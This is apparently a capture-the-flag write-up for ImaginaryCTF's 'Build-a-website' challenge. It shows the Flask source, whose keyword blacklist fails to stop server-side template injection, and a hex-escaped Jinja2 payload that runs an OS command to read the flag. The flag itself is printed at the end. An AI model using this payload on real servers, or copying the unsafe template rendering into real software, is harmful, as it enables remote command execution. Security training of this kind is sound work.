s4ch1n

Build-a-website - ImaginaryCTF

Posted on

Description:

Build a website

Website is made of flask library which is a python framework to make web applications. We are also given the source code of the website.

app.py
#!/usr/bin/env python3

from flask import Flask, render_template_string, request, redirect, url_for
from base64 import b64encode, b64decode

app = Flask(__name__)

@app.route('/')
def index():
  # i dont remember how to return a string in flask so
  # here goes nothing :rooNervous:
  return render_template_string(open('templates/index.html').read())

@app.route('/backend')
def backend():
  website_b64 = b64encode(request.args['content'].encode())
  return redirect(url_for('site', content=website_b64))

@app.route('/site')
def site():
  content = b64decode(request.args['content']).decode()
  #prevent xss
  blacklist = ['script', 'iframe', 'cookie', 'document', "las", "bas", "bal", ":roocursion:"] # no roocursion allowed
  for word in blacklist:
    if word in content:
      # this should scare them away
      content = "*** stack smashing detected ***: python3 terminated"
  csp = '''<head>\n<meta http-equiv="Content-Security-Policy" content="default-src 'none'">\n</head>\n'''
  return render_template_string(csp + content)

After interacting with the website and going through the code, we found that the website is vulnerable to server-side template injection where user inputs are not escaped properly or filtered.

By injecting a simple jinja2 template, we can see that our input is being executed and rendered.

Output:

Also if any of the string from blacklist is present in the payload, it will redirect us to an error.

Build a website Error

To bypass the filters, we can also encode our string to bytes using '\x' which is supported in python.

Final payload
{{request['application']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['__builtins__']['__import__']('os')['popen']('cat flag.txt').read()}}
Flag:
ictf{:rooYay:_:rooPOG:_:rooHappy:_:rooooooooooooooooooooooooooo:}